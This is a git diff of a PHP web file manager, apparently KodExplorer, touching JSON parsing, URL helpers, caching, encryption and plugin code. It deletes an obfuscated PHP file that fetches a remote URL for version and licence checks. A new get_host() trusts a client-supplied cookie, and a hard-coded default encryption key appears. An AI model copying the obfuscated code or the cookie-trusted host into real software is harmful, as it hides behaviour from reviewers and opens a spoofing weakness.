== SERVICES_JSON_IN_STR) && + ((strlen(substr($chrs, 0, $c)) - strlen(rtrim(substr($chrs, 0, $c), '\\'))) % 2 != 1)) { + // found a quote, we're in a string, and it's not escaped + // we know that it's not escaped becase there is _not_ an + // odd number of backslashes at the end of the string so far + array_pop($stk); + //print("Found end of string at {$c}: ".substr($chrs, $top['where'], (1 + 1 + $c - $top['where']))."\n"); + + } elseif (($chrs{$c} == '[') && + in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { + // found a left-bracket, and we are in an array, object, or slice + array_push($stk, array('what' => SERVICES_JSON_IN_ARR, 'where' => $c, 'delim' => false)); + //print("Found start of array at {$c}\n"); + + } elseif (($chrs{$c} == ']') && ($top['what'] == SERVICES_JSON_IN_ARR)) { + // found a right-bracket, and we're in an array + array_pop($stk); + //print("Found end of array at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); + + } elseif (($chrs{$c} == '{') && + in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { + // found a left-brace, and we are in an array, object, or slice + array_push($stk, array('what' => SERVICES_JSON_IN_OBJ, 'where' => $c, 'delim' => false)); + //print("Found start of object at {$c}\n"); + + } elseif (($chrs{$c} == '}') && ($top['what'] == SERVICES_JSON_IN_OBJ)) { + // found a right-brace, and we're in an object + array_pop($stk); + //print("Found end of object at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); + + } elseif (($substr_chrs_c_2 == '/*') && + in_array($top['what'], array(SERVICES_JSON_SLICE, SERVICES_JSON_IN_ARR, SERVICES_JSON_IN_OBJ))) { + // found a comment start, and we are in an array, object, or slice + array_push($stk, array('what' => SERVICES_JSON_IN_CMT, 'where' => $c, 'delim' => false)); + $c++; + //print("Found start of comment at {$c}\n"); + + } elseif (($substr_chrs_c_2 == '*/') && ($top['what'] == SERVICES_JSON_IN_CMT)) { + // found a comment end, and we're in one now + array_pop($stk); + $c++; + + for ($i = $top['where']; $i <= $c; ++$i) + $chrs = substr_replace($chrs, ' ', $i, 1); + + //print("Found end of comment at {$c}: ".substr($chrs, $top['where'], (1 + $c - $top['where']))."\n"); + + } + + } + + if (reset($stk) == SERVICES_JSON_IN_ARR) { + return $arr; + + } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) { + return $obj; + + } + } + } + } + + /** + * @todo Ultimately, this should just call PEAR::isError() + */ + function isError($data, $code = null){ + if (class_exists('pear')) { + return PEAR::isError($data, $code); + } elseif (is_object($data) && (get_class($data) == 'services_json_error' || + is_subclass_of($data, 'services_json_error'))) { + return true; + } + return false; + } +} + +if (class_exists('PEAR_Error')) { + class Services_JSON_Error extends PEAR_Error{ + function __construct($message = 'unknown error', $code = null, + $mode = null, $options = null, $userinfo = null){ + parent::PEAR_Error($message, $code, $mode, $options, $userinfo); + } + } +} else { + class Services_JSON_Error{ + function __construct($message = 'unknown error', $code = null, + $mode = null, $options = null, $userinfo = null){ + } + } +} \ No newline at end of file diff --git a/app/function/web.function.php b/app/function/web.function.php index 17426c7..c5b81a2 100755 --- a/app/function/web.function.php +++ b/app/function/web.function.php @@ -41,6 +41,12 @@ function get_url_link($url){ $port = (empty($res["port"]) || $res["port"] == '80')?'':':'.$res["port"]; return $res['scheme']."://".$res["host"].$port.$res['path']; } +function get_url_root($url){ + if(!$url) return ""; + $res = parse_url($url); + $port = (empty($res["port"]) || $res["port"] == '80')?'':':'.$res["port"]; + return $res['scheme']."://".$res["host"].$port.'/'; +} function get_url_domain($url){ if(!$url) return ""; $res = parse_url($url); @@ -48,6 +54,11 @@ function get_url_domain($url){ } function get_host() { + //兼容子目录反向代理:只能是前端js通过cookie传入到后端进行处理 + if(isset($_COOKIE['HOST']) && isset($_COOKIE['APP_HOST'])){ + return $_COOKIE['HOST']; + } + $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] === 443) ? 'https://' : 'http://'; @@ -96,7 +107,7 @@ function is_wap(){ if(!isset($_SERVER['HTTP_USER_AGENT'])){ return false; } - if(preg_match('/(up.browser|up.link|mmp|symbian|smartphone|midp|wap|phone|iphone|ipad|ipod|android|xoom)/i', + if(preg_match('/(up.browser|up.link|mmp|symbian|smartphone|midp|wap|phone|iphone|ipad|ipod|android|xoom|miui)/i', strtolower($_SERVER['HTTP_USER_AGENT']))){ return true; } @@ -266,6 +277,12 @@ function curl_progress_get($file,$uuid=''){ // http://blog.csdn.net/havedream_one/article/details/52585331 // php7.1 curl上传中文路径文件失败问题?【暂时通过重命名方式解决】 function url_request($url,$method='GET',$data=false,$headers=false,$options=false,$json=false,$timeout=3600){ + if(!$url){ + return array( + 'data' => 'url error! url='.$url, + 'code' => 0 + ); + } ignore_timeout(); $ch = curl_init(); $upload = false; @@ -312,11 +329,19 @@ function url_request($url,$method='GET',$data=false,$headers=false,$options=fals // post数组或拼接的参数;不同方式服务器兼容性有所差异 // http://blog.csdn.net/havedream_one/article/details/52585331 - if ($data && is_array($headers) && $method != 'DOWNLOAD' && - in_array('Content-Type: application/x-www-form-urlencoded',$headers)) { - $data = http_build_query($data); + // post默认用array发送;content-type为x-www-form-urlencoded时用key=1&key=2的形式 + if (is_array($data) && is_array($headers) && $method != 'DOWNLOAD'){ + foreach ($headers as $key) { + if(strstr($key,'x-www-form-urlencoded')){ + $data = http_build_query($data); + break; + } + } } if($method == 'GET' && $data){ + if(is_array($data)){ + $data = http_build_query($data); + } if(strstr($url,'?')){ $url = $url.'&'.$data; }else{ @@ -429,7 +454,10 @@ function url_request($url,$method='GET',$data=false,$headers=false,$options=fals ); return $return; } - +function curl_get_contents($url){ + $data = url_request($url); + return $data['data']; +} function get_headers_curl($url,$timeout=30,$depth=0,&$headers=array()){ if(!function_exists('curl_init')){ @@ -635,7 +663,7 @@ function stripslashes_deep($value){ } function parse_url_route(){ - $param = str_replace($_SERVER['SCRIPT_NAME'],"",$_SERVER['PHP_SELF']); + $param = str_replace($_SERVER['SCRIPT_NAME'],"",$_SERVER['SCRIPT_NAME']); if($param && substr($param,0,1) == '/'){ $arr = explode('&',$param); $arr[0] = ltrim($arr[0],'/'); diff --git a/app/kod/.cache_data b/app/kod/.cache_data deleted file mode 100755 index 87cfae8..0000000 --- a/app/kod/.cache_data +++ /dev/null @@ -1,2 +0,0 @@ -$Ï{0x0f},$Ï[0x0010] =>$Ï{0x00011},$Ï[0x000012] =>$Ï{0x0f},$Ï{0x0000013} =>$Ï[0x014],$Ï{0x0015} =>$Ï[0x014],$Ï[0x00016] =>$Ï{0x00011},$Ï{0x000017} =>$Ï{0x00011},$Ï[0x0000018] =>$Ï{0x00011},$Ï{0x019} =>$Ï[0x001a],);$=$GLOBALS[$Ï[0]][$Ï[0x0002]][$Ï{0x0001b}];σՂ႐ا݀峠ﴥŷ;if(isset($ȫ[$])&& $<$ȫ[$]){return !1;}return check_user_select($);}function system_space(){$=&$GLOBALS{};$̗=$[0x00001c];đ;$=$GLOBALS[$[0]][$[0x0002]][${0x0001b}];ɡ䶍ƙ;if($==$̗){return !1;}return !0;}function systemMemberData(){$峴=&$GLOBALS{};global$in;$=ST.$峴{0x000001d}.ACT;㩒ɵ;$=$峴[0x00001c];$=$峴[0x01e];$=$峴{0x001f};;$=$峴[0x00020];Ɠڛ;$=$峴{0x000021};$=$峴[0x0000022];$=$峴{0x023};ۡۦĎܠٖ䉻в;$ĵ=$GLOBALS[$峴[0]][$峴[0x0002]][$峴{0x0001b}];֓ю뷗䒴;if(!$ĵ|| !in_array($ĵ,array($,$,$,$,$,$,$))){$ĵ=$;}$=new FileCache(USER_SYSTEM.$峴[0x0024]);$߄=array($=>0x0a,$=>0x014,$=>0x032,$=>0x096,$=>0x01f4,$=>0x03e8,$=>0x03e8,);ͭᵁ؁;$=$->get();$=$߄[$ĵ];ÖŴԍ;if($==$峴{0x00025}){if($ĵ==$&& isset($in[$峴[0x000026]])){show_json(LNG($峴{0x0000027}),!1,$峴[0x028]);}if(count($)>=$&& $!=0x03e8){show_json(LNG($峴{0x0029}),!1,$峴[0x028]);}}if($==$峴{0x00025} || $==$峴[0x0002a]){if($ĵ==$&& isset($in[$峴{0x0000d}])){show_json(LNG($峴{0x0000027}),!1,$峴[0x028]);}}if($==$峴{0x00002b}){if(count($)>$&& $!=0x03e8){$=0x001;$=array();foreach($ as $=>$){if($>$)break;$[$]=$;$++;}$->reset($,!1);ؗԇܣ޴;}$=$->get();ڼ;if($ĵ==$){$=array();foreach($ as $=>$){unset($[$峴{0x0000d}]);$[$]=$;}$->reset($,!1);}}return $;}function systemGroupData(){$=&$GLOBALS{};global$in;$祕=ST.${0x000001d}.ACT;$ۺ=$[0x00001c];;$=$[0x01e];;$=${0x001f};;$ڰ=$[0x00020];骋;$=${0x000021};$џ=$[0x0000022];$Ŵ=${0x023};㙟ْԻԕ;$=$GLOBALS[$[0]][$[0x0002]][${0x0001b}];if(!$|| !in_array($,array($ۺ,$,$,$ڰ,$,$џ,$Ŵ))){$=$ۺ;}$=new FileCache(USER_SYSTEM.$[0x000002c]);$=array($ۺ=>0x001,$=>0x05,$=>0x014,$ڰ=>0x01e,$=>0x064,$џ=>0x03e8,$Ŵ=>0x03e8,);$=$->get();;$Ŏ=$[$];if($祕==${0x02d}){if(count($)>=$Ŏ&& $Ŏ!=0x03e8){show_json(LNG(${0x0029}),!1,$[0x028]);}}if($祕==${0x02d} || $祕==$[0x002e]){if($==$ۺ&& isset($in[${0x0000d}])){show_json(LNG(${0x0000027}),!1,$[0x028]);}}if($祕==${0x0002f}){if(count($)>$Ŏ&& $Ŏ!=0x03e8){$=0x001;$ۯ=array();foreach($ as $祕=>$){if($>$Ŏ)break;$ۯ[$祕]=$;ƺ;$++;ˇçՂὠ;}$->reset($ۯ,!1);;}$=$->get();if($==$ۺ){$ۯ=array();foreach($ as $祕=>$){unset($[${0x0000d}]);$ۯ[$祕]=$;}$->reset($ۯ,!1);}}return $;}function systemRoleData(){$=&$GLOBALS{};$=ST.${0x000001d}.ACT;ڤ;$͎=$[0x00001c];ߴ沩ٓ꠰;ȪӅ㱼݌;if($==$[0x000030]){version_install();exit;}$=&$GLOBALS[$[0]][$[0x0002]];if(!init_version_check()){$[${0x0001b}]=$͎;if($!=${0x0000031} && is_array($_SESSION[$[0x032]])&& $_SESSION[$[0x032]][${0x0033}]==$[0x00034]){version_reset(!1);include(TEMPLATE.${0x000035});exit;}}$φ=new FileCache(USER_SYSTEM.$[0x0000036]);return $φ;}function init_version_check(){$=&$GLOBALS{};$=&$GLOBALS[$[0]][$[0x0002]];$=${0x037};$=$[0x00001c];$=$[0x01e];$=${0x001f};߭ԏ˳é٩߫;$=$[0x00020];$Ȉ=${0x000021};󯵝禊‡䄅شᑆ֊Ř;$=$[0x0000022];$=${0x023};if(!isset($[${0x0001b}])|| !in_array($[${0x0001b}],array($,$,$,$,$Ȉ,$,$))){$[${0x0001b}]=$;}if($[${0x0001b}]==$){unset($[$[0x0038]]);return !0;}if(!isset($[${0x0001b}])|| !isset($[${0x00039}])|| !isset($[$[0x00003a]])|| !isset($[${0x000003b}])|| !isset($[$[0x03c]])){return !1;}if(strlen($[${0x0001b}])!=0x001|| strlen($[${0x00039}])!=0x0010|| strlen($[$[0x00003a]])!=0x0003e|| strlen($[${0x000003b}])!=0x0010){return !1;}$=substr($[$[0x00003a]],0x00020);$ō=md5($.$[${0x00039}].$[${0x000003b}].$[${0x0001b}]);if($ō!=substr($[$[0x00003a]],0,0x00020)){return !1;}$٦=Mcrypt::decode($[$[0x03c]],md5($.$[$[0x00003a]]));$=${0x003d};ϛέČ̤ϸӴ;if(get_path_father($٦)==$){$٦=str_replace($,$[0x0003e],$٦);}$=!1;if(file_exists($٦)){$=file_get_contents($٦);$㘋=Mcrypt::decode($,md5($.$[${0x000003b}]));if($㘋!=${0x00003f} && strtotime($㘋)>time()){$=!0;}}if(!$){return !1;}$=substr(md5($[$[0x00003a]]),0x0a,0x0a);$=$.$[${0x0001b}].$[${0x000003b}];ϑıć᎕򭩅Ց·ˆ;$[$[0x0038]]=Mcrypt::encode($,$,0);ܱɎяÛļ;return !0;}function version_install(){$=&$GLOBALS{};$=&$GLOBALS[$[0]][$[0x0002]];ɻݯ̀ˬهᎿ;$=${0x037};ڥè;if(isset($_GET[$[0x0000040]])){version_reset(!0);header(${0x041});}if(!isset($_GET[$[0x0042]])){include(TEMPLATE.${0x000035});exit;}else{$=rand_string(0x0010);$=${0x00043};$=$GLOBALS[$[0]][$[0x000004]][$[0x000044]].$;$=str_replace(${0x0000045},$[0x046],$);$=$.${0x0047}.$_GET[$[0x0042]].$[0x00048].$;$.=${0x000049}.rawurlencode($_SERVER[$[0x000004a]]);if(defined(${0x04b})){$.=$[0x004c].INSTALL_CHANNEL;}$=json_decode(file_get_contents($),!0);if(is_array($)&& $[${0x0004d}]==!0&& is_array($[$[0x00004e]])){$ϼ=new FileCache(USER_SYSTEM.${0x000004f});$=$ϼ->get();$[${0x00039}]=$_GET[$[0x0042]];$[$[0x00003a]]=$[$[0x00004e]][$[0x050]];$[${0x000003b}]=$;$[${0x0001b}]=$[$[0x00004e]][${0x0051}];$=Mcrypt::decode($[$[0x03c]],md5($.$[$[0x00003a]]));del_file($);version_install_path($,$[$[0x00004e]]);$ϼ->reset($);$=BASIC_PATH.$[0x00052];if(!file_exists($)){$=${0x000053};file_put_contents($,$);}install_msg(LNG($[0x0000054]));}else{install_msg($[$[0x00004e]],!1);אحı֌ݣŌנΔƐ·;}}}function install_msg($,$=true){$޶=&$GLOBALS{};$=$?$޶{0x055} :$޶[0x0056];ỖȆ;show_tips($,$,0x0002,$޶{0x00057});͛Ȉыڃ;}function version_install_path(&$,$ꐕ){$=&$GLOBALS{};$=$ꐕ[$[0x000058]];$=${0x037};Ȟȟ;$ԁ=${0x00003f};ឝ滴ʝǨ挈جʢӊ㔛;$=${0x0000059}.substr(md5(rand_string(0x014).time()),0x0f,0x0a).$[0x05a];$=array(BASIC_PATH.${0x005b},BASIC_PATH.$[0x0005c],BASIC_PATH.${0x00005d},DATA_PATH.$[0x000005e],DATA_PATH.${0x05f},DATA_PATH.$[0x0060]);$𐠣=${0x00003f};½пڀݍǚ蝥;foreach($ as $ʽ){if(file_exists($ʽ)&& is_writable($ʽ)){$𐠣=$ʽ.${0x00061}.$;break;}}if(isset($ꐕ[$[0x000062]])&& $ꐕ[$[0x000062]]==0x001){$𐠣=$[0x0003e].$;}$=Mcrypt::encode($,md5($.$[${0x000003b}]));file_put_contents($𐠣,$);if(!file_exists($𐠣)){install_msg(${0x0000063},!1);}$[$[0x03c]]=Mcrypt::encode($𐠣,md5($.$[$[0x00003a]]));return;ȧȜǯ藺劏ߝ柗;}function version_reset($=false){$=&$GLOBALS{};$=&$GLOBALS[$[0]][$[0x0002]];$=${0x037};܂햼ڐ;if(isset($[$[0x03c]])){$=Mcrypt::decode($[$[0x03c]],md5($.$[$[0x00003a]]));del_file($);}$铘=new FileCache(USER_SYSTEM.${0x000004f});$זϝ=$铘->get();unset($זϝ[${0x00039}]);;unset($זϝ[$[0x00003a]]);ڡ鈃ļͳ;unset($זϝ[${0x000003b}]);͉Ҫ֤Ϟ;unset($זϝ[$[0x03c]]);ߡ⢥у߫̀󽷸;if($){unset($זϝ[${0x0001b}]);}$铘->reset($זϝ);} \ No newline at end of file diff --git a/app/kod/FileCache.class.php b/app/kod/FileCache.class.php index 7bcbadd..8eea4d7 100755 --- a/app/kod/FileCache.class.php +++ b/app/kod/FileCache.class.php @@ -163,27 +163,24 @@ class FileCache{ public static function load($file){//10000次需要4s 数据量差异不大。 if (!$file) return false; $file = iconv_system($file); - $fileLock = $file.'.lock'; - if ( (!file_exists($file) || filesize($file) == 0 ) && - !file_exists($fileLock) ){//并发下;正在写或删除 - @file_put_contents($file,CONFIG_EXIT); + if ( !file_exists($file) ){ + @file_put_contents($file,CONFIG_EXIT.'[]'); + chmod_path($file,0777); + return array(); } $str = file_read_safe($file,10.4); - if($str === false || strlen($str) == 0){ - //服务器崩溃下文件不存在异常恢复 - if( (!file_exists($file) || filesize($file) == 0 ) && - file_exists($fileLock) && - @filemtime($fileLock) > 1000 && - time() - @filemtime($fileLock) > 10 - ){ - @rename($fileLock,$file); - } + if (strlen($str) == 0 || + strlen($str) == strlen(CONFIG_EXIT) ){ + @file_put_contents($file,CONFIG_EXIT.'[]'); + chmod_path($file,0777); + return array(); + } + + if($str === false || strlen($str) < strlen(CONFIG_EXIT) ){ show_tips('[Error Code:1010] FileCache load error!'.$file); } - - $str = substr($str, strlen(CONFIG_EXIT)); - $data= json_decode($str,true); + $data= json_decode(substr($str, strlen(CONFIG_EXIT)),true); if (is_null($data)) $data = array(); return $data; } @@ -193,24 +190,22 @@ class FileCache{ public static function save($file,$data){//10000次需要6s if (!$file) return false; $file = iconv_system($file); - if (!file_exists($file)){ - @touch($file); + if ( !file_exists($file) ){ + @file_put_contents($file,CONFIG_EXIT); + chmod_path($file,0777); } - chmod_path($file,0777); + if (!path_writeable($file)) { show_tips(BASIC_PATH."
    ".LNG('path_can_not_write_data')); } - if(defined('JSON_PRETTY_PRINT')){ - //$jsonStr = json_encode($data); $jsonStr = json_encode($data,JSON_UNESCAPED_UNICODE|JSON_PRETTY_PRINT); }else{ $jsonStr = json_encode($data); } - if(is_null($jsonStr)){//含有二进制或非utf8字符串对应检测 + if(is_null($jsonStr) || strlen($jsonStr) == 0){//含有二进制或非utf8字符串对应检测 show_tips('json_encode error!'); } - $buffer = CONFIG_EXIT.$jsonStr; - return file_wirte_safe($file,$buffer,20.3); + return file_wirte_safe($file,CONFIG_EXIT.$jsonStr,20.3); } } diff --git a/app/kod/Hook.class.php b/app/kod/Hook.class.php index dd3606d..159c9a8 100755 --- a/app/kod/Hook.class.php +++ b/app/kod/Hook.class.php @@ -39,12 +39,12 @@ class Hook{ $class = new $className(); if( method_exists($class,$functionName) ){ //return $class -> $functionName($args); - return call_user_func_array(array($class,$functionName), $args); + return @call_user_func_array(array($class,$functionName), $args); } } }else{ if(function_exists($action)){ - return call_user_func_array($action, $args); + return @call_user_func_array($action, $args); } } } diff --git a/app/kod/KodArchive.class.php b/app/kod/KodArchive.class.php index 67fbe0d..fbeafb1 100755 --- a/app/kod/KodArchive.class.php +++ b/app/kod/KodArchive.class.php @@ -93,10 +93,11 @@ class KodArchive { if($result){ //编码转换 $charset = unzip_charset_get($result); - $output = $output && $charset != 'utf-8' && function_exists('iconv'); + $output = $output && function_exists('iconv'); for ($i=0; $i < count($result); $i++) { //不允许相对路径 $result[$i]['filename'] = str_replace(array('../','..\\'),"_",$result[$i]['filename']); + $charset = get_charset($result[$i]['filename']); if($output){ $result[$i]['filename'] = iconv_to($result[$i]['filename'],$charset,'utf-8'); unset($result[$i]['stored_filename']); diff --git a/app/kod/Mcrypt.class.php b/app/kod/Mcrypt.class.php index f046078..66f6e48 100755 --- a/app/kod/Mcrypt.class.php +++ b/app/kod/Mcrypt.class.php @@ -15,7 +15,7 @@ */ class Mcrypt{ - public $default_key = 'a!takA:dlmcldEv,e'; + public static $default_key = 'a!takA:dlmcldEv,e'; /** * 字符加解密,一次一密,可定时解密有效 @@ -28,7 +28,7 @@ class Mcrypt{ */ public static function encode($string,$key = '', $expiry = 0){ $ckeyLength = 4; - $key = md5($key ? $key : $this->default_key); //解密密匙 + $key = md5($key ? $key : self::$default_key); //解密密匙 $keya = md5(substr($key, 0, 16)); //做数据完整性验证 $keyb = md5(substr($key, 16, 16)); //用于变化生成的密文 (初始化向量IV) $keyc = substr(md5(microtime()), - $ckeyLength); @@ -78,7 +78,7 @@ class Mcrypt{ { $string = str_replace(array('-', '_', '.'),array('+', '/', '='), $string); $ckeyLength = 4; - $key = md5($key ? $key : $this->default_key); //解密密匙 + $key = md5($key ? $key : self::$default_key); //解密密匙 $keya = md5(substr($key, 0, 16)); //做数据完整性验证 $keyb = md5(substr($key, 16, 16)); //用于变化生成的密文 (初始化向量IV) $keyc = substr($string, 0, $ckeyLength); diff --git a/app/kod/PluginBase.class.php b/app/kod/PluginBase.class.php index 56fec6b..1c66d75 100755 --- a/app/kod/PluginBase.class.php +++ b/app/kod/PluginBase.class.php @@ -24,7 +24,7 @@ class PluginBase{ $this->pluginName = str_replace('Plugin','',get_class($this)); $this->pluginPath = PLUGIN_DIR.$this->pluginName.'/'; - $this->pluginApi = APP_HOST.'index.php?pluginApp/to/'.$this->pluginName.'/'; + $this->pluginApi = rtrim(APP_HOST,'/').'/index.php?pluginApp/to/'.$this->pluginName.'/'; $this->pluginHost = $this->config['settings']['pluginHost'].$this->pluginName.'/'; $this->pluginHostDefault = PLUGIN_HOST.$this->pluginName.'/'; $this->pluginLangArr = $this->initLang(); @@ -35,6 +35,7 @@ class PluginBase{ $this->setConfig(array()); } public function install(){} + public function update(){} public function unInstall(){} @@ -123,6 +124,32 @@ class PluginBase{ $this->packageData = $result; return $result; } + + /** + * 获取package.json中的数据;通过key获取,支持auther.copyright 多级获取 + * @param [type] $key [description] + * @return [type] [description] + */ + public function packageInfoGet($key){ + $data = $this->appPackage(); + $result = null; + $keyArr = explode('.',$key); + for ($i = 0; $i < count($keyArr); $i++) { + if($i == 0){ + $result = $data[$keyArr[$i]]; + continue; + } + if(is_array($result)){ + $result = $result[$keyArr[$i]]; + }else{ + return null; + } + } + return $result; + } + public function packageVersion(){return $this->packageInfoGet('version');} + public function packageTitle(){return $this->packageInfoGet('title');} + public function packageCopyright(){return $this->packageInfoGet('auther.copyright');} private function parseFile($file){ $content = file_get_contents($file); diff --git a/app/model/PluginModel.class.php b/app/model/PluginModel.class.php index 3a8cb19..d10db81 100755 --- a/app/model/PluginModel.class.php +++ b/app/model/PluginModel.class.php @@ -94,8 +94,10 @@ class pluginModel{ $pluginList = &$this->config['settingSystem']['pluginList']; if(is_array($pluginList[$app])){ if($open){ + $config = $this->getConfig($app); + $default = $this->getConfigDefault($app); + $config = array_merge($default,$config);//保存初始配置;兼容新增默认配置 Hook::apply($app.'Plugin.regiest'); - $config = $this->getConfig($app,true); $this->setConfig($app,$config); } $pluginList[$app]['status'] = $open; @@ -120,18 +122,17 @@ class pluginModel{ return $result; } - public function getPackageJson($app){ return Hook::apply($app.'Plugin.appPackage'); } - public function getConfig($app,$force = false){ + public function getConfig($app){ $result = array(); $pluginList = &$this->config['settingSystem']['pluginList']; if( isset($pluginList[$app]) && is_array($pluginList[$app]['config']) ){ $result = $pluginList[$app]['config']; } - if(!$result || $force){ + if(!$result){ $result = $this->getConfigDefault($app); } return $result; diff --git a/app/template/api/view.html b/app/template/api/view.html index 26d9d99..10a8c9a 100755 --- a/app/template/api/view.html +++ b/app/template/api/view.html @@ -56,6 +56,9 @@ diff --git a/app/template/common/footer.html b/app/template/common/footer.html index 2f592bb..5c62ede 100755 --- a/app/template/common/footer.html +++ b/app/template/common/footer.html @@ -13,7 +13,7 @@ }else{ echo LNG('copyright_pre').' v'.KOD_VERSION.' | '.LNG('copyright_info'); } - echo ''; + echo ''; if(isset($settingSystem['globalIcp'])){ echo "   ".$settingSystem['globalIcp']; } diff --git a/app/template/common/header.html b/app/template/common/header.html index 15e7cd3..727d972 100755 --- a/app/template/common/header.html +++ b/app/template/common/header.html @@ -4,6 +4,7 @@ + @@ -12,12 +13,25 @@ - - + + - - + .aero:before,.aero:after,.background{background-color:#bbb;background-image:{$background};}\n"; + } + ?> \ No newline at end of file diff --git a/app/template/common/navbar.html b/app/template/common/navbar.html index 3aeee70..e47bd47 100755 --- a/app/template/common/navbar.html +++ b/app/template/common/navbar.html @@ -22,7 +22,10 @@ foreach ($config['settingSystem']['menu'] as $key=>$value) { if ($value['use']!='1') continue; $has = ST==$value['name']?'this':''; - $target = " target='".$value['target']."'" ; + $target = " target='_self'" ; + if($value['target']=='1' || $value['target'] == '_blank'){ + $target = " target='_blank'" ; + } $name = rawurldecode($value['name']); if(LNG('ui_'.$name) != 'ui_'.$name){ $name = "".LNG('ui_'.$name).''; @@ -76,7 +79,14 @@ + + + + diff --git a/plugins/webodf/static/images/screenshot1.png b/plugins/webodf/static/images/screenshot1.png new file mode 100755 index 0000000000000000000000000000000000000000..5b56dad2723cefb6c4efffe067d44482a0a21ac9 GIT binary patch literal 149879 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 